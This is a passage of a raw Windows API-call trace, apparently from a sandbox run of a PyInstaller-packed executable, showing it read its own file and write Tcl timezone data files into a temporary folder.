[0042.866] CloseHandle (hObject=0x10c) returned 1 [0042.866] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.866] htonl (hostlong=0x30000000) returned 0x30 [0042.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.867] GetFileType (hFile=0x10c) returned 0x1 [0042.867] htonl (hostlong=0x84c45c00) returned 0x5cc484 [0042.867] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x617484, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.867] htonl (hostlong=0x8060000) returned 0x608 [0042.867] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x608) returned 0x550600 [0042.867] htonl (hostlong=0x8060000) returned 0x608 [0042.867] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.867] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.867] htonl (hostlong=0x441c0000) returned 0x1c44 [0042.867] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c44) returned 0x561090 [0042.867] htonl (hostlong=0x8060000) returned 0x608 [0042.867] htonl (hostlong=0x441c0000) returned 0x1c44 [0042.867] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ce0 [0042.867] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ce0 | out: hHeap=0x530000) returned 1 [0042.867] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.867] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.867] CloseHandle (hObject=0x10c) returned 1 [0042.867] GetLastError () returned 0x0 [0042.867] SetLastError (dwErrCode=0x0) [0042.867] GetLastError () returned 0x0 [0042.867] SetLastError (dwErrCode=0x0) [0042.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.868] GetFileType (hFile=0x10c) returned 0x1 [0042.868] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.868] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.868] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.868] CloseHandle (hObject=0x10c) returned 1 [0042.868] GetLastError () returned 0x0 [0042.868] SetLastError (dwErrCode=0x0) [0042.868] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.868] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.868] GetFileType (hFile=0x10c) returned 0x1 [0042.868] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.868] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.869] CloseHandle (hObject=0x10c) returned 1 [0042.869] GetLastError () returned 0x0 [0042.869] SetLastError (dwErrCode=0x0) [0042.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.869] GetFileType (hFile=0x10c) returned 0x1 [0042.869] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.869] CloseHandle (hObject=0x10c) returned 1 [0042.869] GetLastError () returned 0x0 [0042.869] SetLastError (dwErrCode=0x0) [0042.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zaporozhye") returned 74 [0042.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zaporozhye" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\zaporozhye"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.869] GetLastError () returned 0x2 [0042.869] SetLastError (dwErrCode=0x2) [0042.869] GetLastError () returned 0x2 [0042.869] SetLastError (dwErrCode=0x2) [0042.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zaporozhye", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zaporozhye", lpFilePart=0x0) returned 0x49 [0042.870] GetLastError () returned 0x2 [0042.870] SetLastError (dwErrCode=0x2) [0042.870] GetLastError () returned 0x2 [0042.870] SetLastError (dwErrCode=0x2) [0042.870] GetLastError () returned 0x2 [0042.870] SetLastError (dwErrCode=0x2) [0042.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zaporozhye") returned 74 [0042.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zaporozhye" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\zaporozhye"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.871] GetFileType (hFile=0x10c) returned 0x1 [0042.871] htonl (hostlong=0x441c0000) returned 0x1c44 [0042.871] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.872] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc44, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc44, lpOverlapped=0x0) returned 1 [0042.872] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.872] CloseHandle (hObject=0x10c) returned 1 [0042.872] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.872] htonl (hostlong=0x30000000) returned 0x30 [0042.872] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.872] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.872] GetFileType (hFile=0x10c) returned 0x1 [0042.872] htonl (hostlong=0x8cca5c00) returned 0x5cca8c [0042.872] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x617a8c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.873] htonl (hostlong=0xd0050000) returned 0x5d0 [0042.873] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5d0) returned 0x550600 [0042.873] htonl (hostlong=0xd0050000) returned 0x5d0 [0042.873] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.873] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.873] htonl (hostlong=0x8f1b0000) returned 0x1b8f [0042.873] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b8f) returned 0x561090 [0042.873] htonl (hostlong=0xd0050000) returned 0x5d0 [0042.873] htonl (hostlong=0x8f1b0000) returned 0x1b8f [0042.873] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562c28 [0042.873] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c28 | out: hHeap=0x530000) returned 1 [0042.873] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.873] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.873] CloseHandle (hObject=0x10c) returned 1 [0042.873] GetLastError () returned 0x0 [0042.873] SetLastError (dwErrCode=0x0) [0042.873] GetLastError () returned 0x0 [0042.873] SetLastError (dwErrCode=0x0) [0042.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.873] GetFileType (hFile=0x10c) returned 0x1 [0042.873] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.873] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.873] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.873] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.874] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.874] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.874] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.874] CloseHandle (hObject=0x10c) returned 1 [0042.874] GetLastError () returned 0x0 [0042.874] SetLastError (dwErrCode=0x0) [0042.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.874] GetFileType (hFile=0x10c) returned 0x1 [0042.874] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.874] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.874] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.874] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.874] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.874] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.874] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.874] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.874] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.874] CloseHandle (hObject=0x10c) returned 1 [0042.874] GetLastError () returned 0x0 [0042.874] SetLastError (dwErrCode=0x0) [0042.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.874] GetFileType (hFile=0x10c) returned 0x1 [0042.875] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.875] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.875] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.875] CloseHandle (hObject=0x10c) returned 1 [0042.875] GetLastError () returned 0x0 [0042.875] SetLastError (dwErrCode=0x0) [0042.875] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zurich") returned 70 [0042.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zurich" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\zurich"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.875] GetLastError () returned 0x2 [0042.875] SetLastError (dwErrCode=0x2) [0042.875] GetLastError () returned 0x2 [0042.875] SetLastError (dwErrCode=0x2) [0042.875] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zurich", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zurich", lpFilePart=0x0) returned 0x45 [0042.875] GetLastError () returned 0x2 [0042.875] SetLastError (dwErrCode=0x2) [0042.875] GetLastError () returned 0x2 [0042.875] SetLastError (dwErrCode=0x2) [0042.875] GetLastError () returned 0x2 [0042.875] SetLastError (dwErrCode=0x2) [0042.875] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zurich") returned 70 [0042.875] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zurich" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\zurich"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.876] GetFileType (hFile=0x10c) returned 0x1 [0042.876] htonl (hostlong=0x8f1b0000) returned 0x1b8f [0042.876] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.877] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.877] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8f, lpOverlapped=0x0) returned 1 [0042.877] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.877] CloseHandle (hObject=0x10c) returned 1 [0042.877] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.878] htonl (hostlong=0x30000000) returned 0x30 [0042.878] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.878] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: 